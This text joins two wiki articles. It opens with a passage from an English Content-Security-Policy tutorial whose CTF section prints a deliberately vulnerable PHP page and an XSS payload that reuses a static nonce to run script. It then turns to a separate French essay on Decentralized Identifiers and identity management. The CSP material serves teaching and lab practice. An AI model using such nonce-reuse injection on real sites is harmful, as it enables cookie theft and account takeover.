<li>style-src: Similar to Script-src, but only works on css files.</li>
</ol><h4 id="bkmrk-%C2%A0-1"> </h4>
<h4 id="bkmrk-under-the-csp-1-spec">Under the CSP 1 specification, you can also set the following rules:</h4>
<ol id="bkmrk-img-src-valid-image-"><li>img-src Valid image source</li>
<li>connect-src Apply to XMLHttpRequest (AJAX), WebSocket or EventSource</li>
<li>font-src Valid font source</li>
<li>object-src Effective plug-in source (eg, , , )</li>
<li>media-src Valid and source</li>
</ol><h4 id="bkmrk-the-csp-2-specificat">The CSP 2 specification contains the following rules:</h4>
<ol id="bkmrk-child-src-valid-web-"><li>child-src Valid web workers and element sources, such as and &lt;iframe&gt; (this directive replaces the obsolete frame-src directive in CSP 1 )</li>
<li>form-action Can be a valid source of HTML actions</li>
<li>frame-ancestors Use , &lt;iframe&gt;, , or useful source embedded resources</li>
<li>upgrade-insecure-requests Command the user agent to rewrite the URL protocol and change HTTP to HTTPS (for some websites that need to rewrite a lot of stale URLs).</li></ol>
<br>
<h1>3. CTF CONTEXT</h1>

<h3 id="bkmrk-common-attack-surfac">Common attack surface</h3>
<p id="bkmrk-script-src-%3A-script%3A">script-src : script: only trust the current domain name<br>object-src : Do not trust any URL, ie do not load any resources<br>style-src : stylesheet: trust only cdn.example.org and third-party.org<br>child-src : Must be loaded using the HTTPS protocol. This has been removed from the web standard and may not be supported in newer browsers.</p>
<p id="bkmrk-other-resources%3A-no-">Other resources: no restrictions on other resources</p>
<p id="bkmrk-when-csp-is-enabled%2C">When CSP is enabled, non-CSP-compliant external resources are prevented from loading.</p>
<h4 id="bkmrk-example-1%3A">Example 1:</h4>
<p id="bkmrk-a-fair-amount-of-csp">A fair amount of CSP's can be detected purely from source, lets look at the source code:</p>
<pre id="bkmrk-%3C%3Fphp-%24headercsp-%3D-%22"><code class="language-php">&lt;?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

&lt;script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="&gt;alert(1)&lt;/script&gt;

?&gt;
&lt;?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
&lt;form name="csp" method="POST"&gt;
    &lt;p&gt;Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.&lt;/p&gt;
    &lt;input size="50" type="text" name="include" value="" id="include" /&gt;
    &lt;input type="submit" value="Include" /&gt;
&lt;/form&gt;
';</code></pre>
<p id="bkmrk-"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/NZZXfmrqgns7hSI6-CSP.PNG" target="_blank" rel="noopener"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/NZZXfmrqgns7hSI6-CSP.PNG" alt="CSP.PNG" width="802" height="167"></a></p>
<p id="bkmrk-you-can-see-there-ar">You can see there are <code>nonce</code> and <code>unsafe-inline</code> here I think the inspection point is the understanding of the parameters (special values) in the script-src moreover, The legal source of script-src in the http header has changed.</p>
<ol id="bkmrk-unsafe-inline%2C-which"><li>unsafe-inline, which allows the use of inline resources such as inline &lt;script&gt; elements, javascript: URLs, inline event handlers (such as onclick), and inline &lt;style&gt; elements. Must include single quotes.</li>
<li>nonce-source, only specific inline script blocks are allowed, nonce = "TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA"</li>
</ol><p id="bkmrk-basically....-it%27s-e">Basically.... It's even easier now, you can enter the following code directly:<br><code>&lt;script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="&gt;alert("document.cookie")&lt;/script&gt;</code></p>
<p id="bkmrk-the-result-is-a-succ">The result is a successful injection.</p>
<p id="bkmrk--0"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/vqozUeeNjzBMMVvM-CSP1.PNG" target="_blank" rel="noopener"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/vqozUeeNjzBMMVvM-CSP1.PNG" alt="CSP1.PNG" width="810" height="124"></a></p>
<p id="bkmrk-%C2%A0-3"> </p>
<p id="bkmrk-by%3A-boschko"><strong>By: Olivier (Boschko) Laflamme<br></strong></p>
<ul id="bkmrk-twitter%3A-https%3A%2F%2Ftwi"><li>Twitter: <a href="https://twitter.com/olivier_boschko">https://twitter.com/olivier_boschko</a></li>
<li>LinkedIn: <a href="https://www.linkedin.com/in/olivierlaflammelink/">https://www.linkedin.com/in/olivierlaflammelink/</a></li>
</ul><p id="bkmrk-%C2%A0-14"> </p>

# [FR] Decentralized Identifiers (DIDs)

## Rappels Identity and Access Management (IAM)

Il existe actuellement 3 grandes formes de Gestion d’Identité : le modèle dit en **silo**, le modèle **fédéré** et le modèle **user-centric.**

Le premier est le plus ancien, il s’agit du format classique où chaque organisation, entreprise, site web, etc accorde un accès à l’utilisateur après que celui-ci est fourni les informations demandées. Dans cette situation l’utilisateur se retrouve très vite avec énormément d’identités éparpillées et il est très difficile voir impossible de tout gérer. De plus, il arrive régulièrement qu’une trop grande quantité d’informations soit fournie (envoyer une copie de sa carte d’identité alors que seuls le nom et la date de naissance sont nécessaires). Dans le cadre du RGPD ce modèle n’est pas du tout recommandé.

Le deuxième modèle est l’un des plus répandus. Il consiste à "rassembler" des organisations souhaitant collaborer afin de mettre en place un système d’authentification unique. Il faut dans un premier temps s’authentifier auprès d’un tiers de confiance, qui va ensuite s’occuper de nous authentifier auprès des organismes affiliés.   
C’est, par exemple, le modèle que l’on retrouve chez Microsoft : nous créons un "compte Microsoft" qui va servir de carte d’identité sur tous le réseau Microsoft. Ainsi, il suffit de s’authentifier une seule fois sur un service Microsoft pour ensuite être automatiquement authentifié lorsque l’on souhaite accéder à un service d’une organisation appartenant au réseau. Pour ce faire, la composante **Single Sign-On (SSO)** est utilisée. Il s’agit du mécanisme permettant la mise en place de l’authentification unique au sein de toute la fédération d’identités. La mise en place d’une fédération d’identités nécessite que les différents partis se mettent d’accord sur les informations nécessaires à l’identification et l’authentification, se mettent d’accord sur le format des données, etc. Dans cette optique, le protocole **SAML** est très couramment utilisé.

Le dernier modèle est celui qui permet de s’authentifier auprès de différents organismes en passant par un tiers de confiance sans qu’il n’y ait d’affiliation entre eux. C’est la situation que l’on retrouve lorsque l’on veut s’authentifier avec Facebook, Google, etc sur d’autres sites. L’inconvénient de ce modèle est que ces tiers de confiance sont garants de toute notre identité numérique et se retrouve avec beaucoup trop de pouvoir, ce qui peut vite poser problème et n’est pas compatible avec la vision du RGPD.

Depuis quelques temps un nouveau modèle est en train de se développer : l’identité auto-souveraine (**Self-Sovereign Identity, SSI**). Dans ce modèle, l’utilisateur est maître de sa propre identité numérique. Le principe est de se créer un portefeuille d’informations permettant de nous identifier (par exemple nom, prénom, date de naissance, photo d’identité, etc). Une fois ces informations choisies, nous pouvons les envoyer à une autorité compétente qui va les valider et nous fournir un certificat pour chacune d’elle. A partir de là, lorsqu’un fournisseur de service souhaitera vérifier notre identité, nous pourrons lui fournir uniquement les informations nécessaires sans avoir à en donner plus (il n’est pas utile d’envoyer sa carte d’identité avec toutes les informations qu’elle contient si seul le nom est requis).

Ce modèle se base principalement sur la **blockchain** pour le stockage des informations et ceci apporte plusieurs avantages. L’utilisateur étant maître de ses données, elle ne peuvent pas être utilisées sans son consentement. C’est lui qui accorde explicitement l’accès en lecture à ses données, et il est en mesure de le révoquer quand il le souhaite. Cela implique aussi que les entreprises n’ont plus besoin d’enregistrer les données, celles-ci étant accessible en lecture. Enfin, le fonctionnement de la blockchain permet une traçabilité complète des données et empêche ainsi toute falsification. Du point de vue du RGPD, ce modèle semble être le plus adapté en mettant l’utilisateur au centre et en retirant la possession et le contrôle des informations aux entreprises.

## Présentation des Decentralized IDs

### Concept général

Les Decentralized IDs (ou DIDs) sont une solution d’identification reposant sur la blockchain et permettant aux utilisateurs de s’identifier eux mêmes. Il s’agit d’une solution appartenant au concept de **Self Sovereign Identity (SSI)**.

Un utilisateur est en mesure de créer un nouveau DID à n’importe quel moment et pour n’importe quelle raison. Ce dernier est composé d’un identifiant unique et d’un document permettant de le décrire. L’identifiant est de la forme “did:method:123456789abcdefghi” (qui reprend la structure des URNs) tandis que le document est une structure de données en JSON-LD et est stocké de manière à être toujours accessible. Les DIDs sont vérifiables par cryptographie afin d’assurer leur authenticité et vérifier leur provenance.

[![image-1594123791810.png](https://hideandsec.sh/uploads/images/gallery/2020-07/scaled-1680-/DjJtO5VcB3MLZOn0-image-1594123791810.png) Format DID - https://w3c-ccg.github.io/did-primer/#diddocuments](https://w3c-ccg.github.io/did-primer/#diddocuments)

En plus de contenir un DID, le document peut contenir d’autres paramètres permettant de valider son authenticité tels que :

- Une date de création
- Une preuve cryptographique de sa validité
- Une liste de clés publiques
- Une liste de services où le DID peut être utilisé
- Des extensions

Voici un exemple de document provenant du W3C :

[![image-1594123918009.png](https://hideandsec.sh/uploads/images/gallery/2020-07/scaled-1680-/7ai1ZMANEv6WQiGz-image-1594123918009.png)](https://hideandsec.sh/uploads/images/gallery/2020-07/7ai1ZMANEv6WQiGz-image-1594123918009.png)[DID Document - https://www.w3.org/TR/did-core/#example-2-minimal-self-managed-did-document](https://www.w3.org/TR/did-core/#example-2-minimal-self-managed-did-document)

<span style="font-weight: normal;">On peut constater qu’il n’y a pas d’informations personnelles dans ce document. En effet, les DIDs n’ont pas pour objectif de transmettre des informations, mais de certifier la validités des informations fournies par d’autres documents, tels que les **Verifiable Credentials**. Les DIDs ont seulement une fonction de signatures. Les Verifiable Credentials ne seront pas abordés dans ce document car ils sortent de la problématique et je pars du principe que le sujet est déjà connu du lecteur. </span>

<span style="font-weight: normal;">Dans l’exemple de format au dessus, le paramètre "method" est spécifié. Il s’agit de la solution de blockchain choisie pour enregistrer le DID. Parmi toute les méthodes, nous retrouvons le Bitcoin, l’Ethereum , etc. Au total, 9 technologies de blockchain sont disponibles. Ainsi, en connaissant la technologie utilisée il sera possible de retrouver le document associé au DID.</span>

### DIDAuth

Pour s’assurer que l’utilisateur qui envoie le DID en est bien le propriétaire légitime, la solution DIDAuth a été mise en place. Il ne s’agit ni plus ni moins que d’une technique de challenge/réponse. Le service demandant le DID envoie un challenge aléatoire que l’utilisateur va signer avec sa clé privée. Il va ensuite renvoyer le challenge, la signature et le DID.

[![image-1594124204459.png](https://hideandsec.sh/uploads/images/gallery/2020-07/scaled-1680-/SAhFVsY0Mpllc7uG-image-1594124204459.png)](https://hideandsec.sh/uploads/images/gallery/2020-07/SAhFVsY0Mpllc7uG-image-1594124204459.png)[Schéma DIDAuth - https://nbviewer.jupyter.org/github/WebOfTrustInfo/rebooting-the-web-of-trustspring2018/blob/master/final-documents/did-auth.pdf](https://nbviewer.jupyter.org/github/WebOfTrustInfo/rebooting-the-web-of-trustspring2018/blob/master/final-documents/did-auth.pdf)

<span style="font-weight: normal;">La présentation haut niveau des DIDs terminée, nous pouvons maintenant passer à la seconde partie où nous allons étudier les arguments en faveur et en défaveur de cette nouvelle technologie.  
</span>

## Réflexion autour des DIDs

Cette nouvelle technologie semble vouloir répondre à certaines problématiques, mais quelles sont elles ? Et qui seront les différents acteurs et bénéficiaires de cette nouvelle technologie ?

Il est d’abord important de se demander qui seront les acteurs autour des DIDs. Comme dit précédemment, les DIDs sont une solution de signature numérique qu’il est intéressant de coupler au système des Verifiable Credentials. Les acteurs des DIDs sont donc les mêmes que pour les VCs. Nous allons retrouver : les utilisateurs, les Service Providers, les Claims Issuers et les fournisseurs de technologie.

- Utilisateur : le possesseur de DIDs et le sujet des Verifiable Credentials
- Service Provider : le site, l’application, l’entreprise, etc, qui a besoin de VCs pour fournir un service
- Claims Issuers : le gouvernement, une administration, ou autre, capable de fournir des VCs aux utilisateurs
- Les fournisseurs de technologies : les organismes en mesure de fournir la technologie nécessaire pour la mise en place des DIDs (la blockchain, etc) et de mettre en lien les différents acteurs

Les différents acteurs étant fixés, nous pouvons analyser ce que les DIDs peuvent leur apporter.

### Utilisateurs

L’intérêt le plus visible et "évident" est le fait de redonner le contrôle à l’utilisateur grâce à la blockchain. En effet, il n’ y a maintenant plus besoin de passer par un service tiers centralisant toutes les informations. L’utilisateur est en mesure de fournir ses DIDs et les conserve lui même sans risque que les informations soient révoquées par un tiers.

Cela limite non seulement le risque que l’autorité possédant les informations disparaissent, et les informations avec, mais aussi le pouvoir que les fournisseurs d’identité comme Facebook, Google, etc ont.

Il ne faut pas non plus oublier que certaines autorités peuvent être corrompues ou simplement agir dans leur propre intérêt. Les gouvernements et autres fournisseurs d’identités ont souvent trop de pouvoir et une trop grande confiance est placée en eux. De telles situations ne sont évidement pas en accord avec les intérêts de l’utilisateur et lui redonner le contrôle est d’autant plus important.

Il reste cependant un point qui n’est pas parfaitement clair. Les DIDs semblent être présentés comme améliorant la confidentialité des utilisateurs. Comme dis précédemment, les DIDs permettraient de ne fournir que les informations nécessaires sans avoir à en donner trop (histoire de la carte d’identité). Néanmoins, qu’est-ce qui garantit que fournisseur de services ne va pas trop en demander ? Certes il ne va plus demander la carte d’identité, mais il peut toujours demander chaque éléments de la carte un par un sans en avoir réellement besoin. Actuellement, rien ne permet de s’assurer qu’aucun risque n’est présent de ce côté là.

### Service Provider

Le principal argument pour faire utiliser les DIDs à un Service Provider est le déplacement des risques. En effet, tous les risques relatifs à la vérification de l’identité, des VCs etc sont déplacés vers l’utilisateur. Le Service Provider a juste à faire la vérification cryptographique pour être sûr de ce qu’il reçoit, la véracité des informations n’est pas de son ressort.

De plus, le Service Provider n’a pas besoin de conserver les informations une fois celles-ci utilisées. Il n’aura qu’à les redemander la prochaine fois. Cela résout énormément de problèmes de confidentialité, de stockages de données, etc vis-à-vis de réglementations telles que le RGPD, mais résout aussi les problèmes liés au stockage en lui-même : plus besoin de serveurs de bases de données immenses pour stocker toutes les informations de tous les utilisateurs, réduction du risque de vol d’informations sensibles en cas de cyberattaques, etc.

Cependant, le Service Provider a besoin de savoir quels VCs il va accepter, et provenant de quels Issuers. Avoir beaucoup d’Issuers est pratique pour l’utilisateur mais peut vite devenir très compliqué à gérer pour les Services Providers.

Ce problème ne se présente pas avec les autres solutions de gestion d’identités. Dans le modèle en silo chaque Service Provider est indépendant et gère lui mêmes les identités, dans le modèle fédéré chacun se rapporte à l’autorité de la fédération d’identité et n’a besoin de faire confiance à personne d’autre, et dans le cas du système user-centric les Service Providers ne font confiance qu’à une liste bien précise de tiers de confiance et n’ont pas besoin d’en ajouter de nouveaux régulièrement.

### Claims Issuers

Le choix des Claims Issuers quant à intégrer l’écosystème semble évident. En effet, il n’aurait aucune raison de ne pas vouloir l’intégrer, et il serait en plus en mesure d’accroître leur pouvoir.

Comme énoncé précédemment, même si les utilisateurs fournissent eux-mêmes leurs informations, celles-ci doivent être certifiées par une autorité responsable (une mairie par exemple). De ce fait, les Claims Issuers gardent un pouvoir très important. De plus, une autorité est toujours en mesure de retirer une certification si l’information concernée a été modifiée, n’est plus valide, etc.

D’un côté cela permet d’assurer la conformité des informations que fourni l’utilisateur et ainsi éviter tout problème avec les Service Providers, mais d’un autre côté cela montre bien que l’utilisateur n’est pas tout à fait maître de son identité. Cependant, peut-on réellement laisser l’utilisateur totalement libre ? Il semble évident que non. Dans une telle situation, les informations erronées deviendraient rapidement courantes et ce système n’aurait plus aucune valeur ni crédibilité.

### Fournisseurs de technologies

Les fournisseurs de technologies sont, entre autres, ceux qui développent la blockchain, mais aussi toute les organisations qui vont travailler sur les solutions d’authentification, etc. A première vue, ces fournisseurs n’auraient aucune raison d’être contre le développement des DIDs. Une nouvelle technologie permet de l’ouverture de nouveaux marchés et des gains financiers sont envisageables.

Cependant, tous ne voient pas ceci de la même manière. En effet, le développement complet d’une telle technologie nécessite des investissements financiers et humains colossaux, alors que des technologies similaires existent déjà. La blockchain peut-être faite avec les PKI, les Verifiable Credentials ne sont au final qu’une refonte des JSON Web Token, etc. De plus, l’aspect sécurité entre en jeu : les solutions déjà existantes ont été éprouvées et de nombreuses vulnérabilités ont déjà été patchées. Le développement des DIDs impliquent de tout reprendre à zéro sur ce point.

La question est donc : les coûts de développement engagés sont-ils justifiés par rapport à ce que va rapporter cette nouvelle technologie ? Là où les autres acteurs avaient une vision du problème centrée sur la praticité, la législation, la conformité, etc, les fournisseurs de services ont une vision essentiellement financières. Et si ils estiment que ce développement n’est pas rentable et qu’il n’est pas intéressant d’investir dedans, les DIDs n’ont finalement que peu de chance de voir le jour.

## Conclusion

Cette première étude nous a permis d’avoir un aperçu de ce que sont les Decentralized Identifiers et ce qu’ils promettent de réaliser. Il s’agit de redonner un maximum de contrôle à l’utilisateur sur les informations qu’il choisi de fournir tout en assurant la validité de ces dernières, et limiter les stockages intempestifs de données.

Cependant, nous avons constaté que certaines questions restent en suspend, comme par exemple savoir si les informations demandées sont réellement nécessaires. De plus, tous les acteurs ne sont pas encore sûr de vouloir s’engager pleinement dans le projet ce qui rend incertain sont développement.

##### Sources

Papier officiel W3C : [https://www.w3.org/TR/did-core/ ](https://www.w3.org/TR/did-core/)  
Synthèse par le W3C Community Group : [https://w3c-ccg.github.io/did-primer/ ](https://w3c-ccg.github.io/did-primer/)  
Understanding Decentralized IDs (DIDs) – *Medium* : [https://medium.com/@adam\_14796/understanding-decentralized-ids-dids-839798b91809 ](https://medium.com/@adam_14796/understanding-decentralized-ids-dids-839798b91809)  
Résumé sur l’historique de la gestion de l’identité numérique : [https://www.silicon.fr/avis-expert/lidentite-auto-souveraine-et-la-blockchain-une-reponse-au-rgpd? fbclid=IwAR2LOG\_rxHjl39dybCNaz8rzo9j56C3Zy0qtRGK9diYO8Z236onBZveibsY ](https://www.silicon.fr/avis-expert/lidentite-auto-souveraine-et-la-blockchain-une-reponse-au-rgpd?%20fbclid=IwAR2LOG_rxHjl39dybCNaz8rzo9j56C3Zy0qtRGK9diYO8Z236onBZveibsY)  
Les pour et les contre de la fédération d’identité – *LeMagIT* : [https://www.lemagit.fr/conseil/Pourset-contres-de-la-federation-didentite](https://www.lemagit.fr/conseil/Pourset-contres-de-la-federation-didentite)